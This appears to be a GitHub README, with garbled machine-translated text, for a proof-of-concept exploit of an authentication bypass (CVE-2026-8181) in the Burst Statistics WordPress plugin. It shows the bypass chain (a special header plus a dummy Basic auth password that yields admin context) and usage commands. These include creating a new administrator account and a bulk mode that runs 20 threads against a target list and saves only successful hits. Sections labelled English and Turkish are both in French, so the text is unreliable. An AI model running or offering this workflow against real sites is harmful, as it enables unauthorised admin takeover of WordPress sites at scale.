CVE-2026-8181

EN : PoC contrôlé et brèves notes techniques pour tests de sécurité autorisés du contournement d’authentification dans Burst Statistics.

TR : PoC contrôlé et bref résumé technique pour tests de sécurité autorisés du contournement d’authentification dans Burst Statistics.

Aperçu du projet

Anglais

Remarque : Le chiffre de plus de 200 000 installations actives sur WordPress.org représente la base d’utilisateurs totale du plugin — cela ne signifie pas que chaque site exécute une version vulnérable. L’impact réel nécessite de vérifier version + environnement (HTTP / disponibilité des mots de passe d’application, etc.).

Turc

Remarque : Le nombre de plus de 200 000 installations actives sur WordPress.org représente la base d’utilisateurs totale du plugin ; cela ne signifie pas que tous les sites exécutent une version vulnérable. Pour l’impact réel, version + environnement (HTTP, compatibilité des mots de passe d’application, etc.) doivent être vérifiés.

Visuels

Anglais

Le Markdown de GitHub n’intègre pas de GIF binaires sans fichier dans le dépôt. Les extraits Typing SVG ci-dessus (CDN) simulent l’animation. Pour ajouter votre propre capture d’écran :

![Lab demo](https://raw.githubusercontent.com/murrez/cve-2026-8181/HEAD/assets/demo.gif)

Turc

Le Markdown de GitHub ne prend pas en charge l’intégration de GIF sans fichier dans le dépôt. Les extraits Typing SVG ci-dessus (CDN) produisent une animation de texte. Pour votre propre démonstration :

![Lab demo](https://raw.githubusercontent.com/murrez/cve-2026-8181/HEAD/assets/demo.gif)

Chaîne d’attaque (Mermaid)

Anglais — libellés du diagramme

flowchart LR
  A[Client request] --> B[X-BURSTMAINWP: 1]
  A --> C[Authorization: Basic]
  B --> D[plugins_loaded]
  D --> E[is_mainwp_authenticated]
  E --> F{wp_authenticate_application_password == null?}
  F -->|Mis-handled branch| G[get_user_by login]
  G --> H[wp_set_current_user]
  H --> I[REST: full admin context]

Turc — même flux

flowchart LR
  A[İstek] --> B[X-BURSTMAINWP: 1]
  A --> C[Authorization: Basic]
  B --> D[plugins_loaded]
  D --> E[is_mainwp_authenticated]
  E --> F{wp_authenticate_application_password == null?}
  F -->|Yanlış dal| G[get_user_by login]
  G --> H[wp_set_current_user]
  H --> I[REST: tam admin bağlamı]

Fonctionnalités de l’outil

Anglais

Avec -f, -o et --output-dir s’excluent mutuellement.

Turc

En mode -f, -o et --output-dir ne peuvent pas être utilisés ensemble.

Installation

pip3 install requests urllib3

Exemples d’utilisation

Anglais

# Single site, report file
python3 CVE-2026-8181.py -u http://lab.local -U admin -o report.txt -k

# Single site + new admin (lab)
python3 CVE-2026-8181.py -u http://lab.local -U admin --create-user -o report.txt -k

# Bulk + combined file (successes only)
python3 CVE-2026-8181.py -f targets.txt -j 20 -o successes.txt -k

# Bulk + per-host files in folder (successes only)
python3 CVE-2026-8181.py -f targets.txt -j 20 --output-dir ./results -k

Turc

# Tek site, rapor
python3 CVE-2026-8181.py -u http://lab.local -U admin -o sonuc.txt -k

# Tek site + yeni yönetici (lab)
python3 CVE-2026-8181.py -u http://lab.local -U admin --create-user -o sonuc.txt -k

# Çoklu + birleşik dosya (yalnızca başarılılar)
python3 CVE-2026-8181.py -f targets.txt -j 20 -o basarili.txt -k

# Çoklu + klasörde site başına dosya (yalnızca başarılılar)
python3 CVE-2026-8181.py -f targets.txt -j 20 --output-dir ./results -k

Champ Password: vide

Anglais

Un contournement réussi ne divulgue pas le mot de passe réel de l’utilisateur victime — le mot de passe Basic du PoC est factice. La ligne Password: reste vide sauf si --create-user a créé un nouveau compte (dans ce cas, le mot de passe généré est écrit).

Turc

Un contournement réussi ne divulgue pas le mot de passe réel de l’utilisateur existant — le mot de passe Basic du PoC est factice. La ligne Password: reste vide tant qu’aucun nouveau compte n’est créé avec --create-user ; s’il est créé, le mot de passe généré est écrit.

Références

Anglais

• Burst Statistics — Annuaire des plugins WordPress
• Souvent cité dans les divulgations coordonnées : Wordfence Threat Intelligence, PRISM
• CVE : MITRE CVE-2026-8181 · NVD

Turc

• Burst Statistics — Annuaire des plugins WordPress
• Souvent cité dans les divulgations coordonnées : Wordfence Threat Intelligence, PRISM
• CVE : MITRE CVE-2026-8181 · NVD

Avertissement

Anglais

Réservé aux évaluations autorisées par écrit et à votre propre laboratoire uniquement. Toute utilisation non autorisée est illégale dans de nombreuses juridictions. Les auteurs et le mainteneur de ce README déclinent toute responsabilité en cas de mauvaise utilisation.

Turc

Réservé aux évaluations autorisées par écrit et à votre propre laboratoire. Toute utilisation non autorisée est illégale dans de nombreux pays. Les auteurs et l’éditeur de ce README ne sont pas responsables en cas de mauvaise utilisation.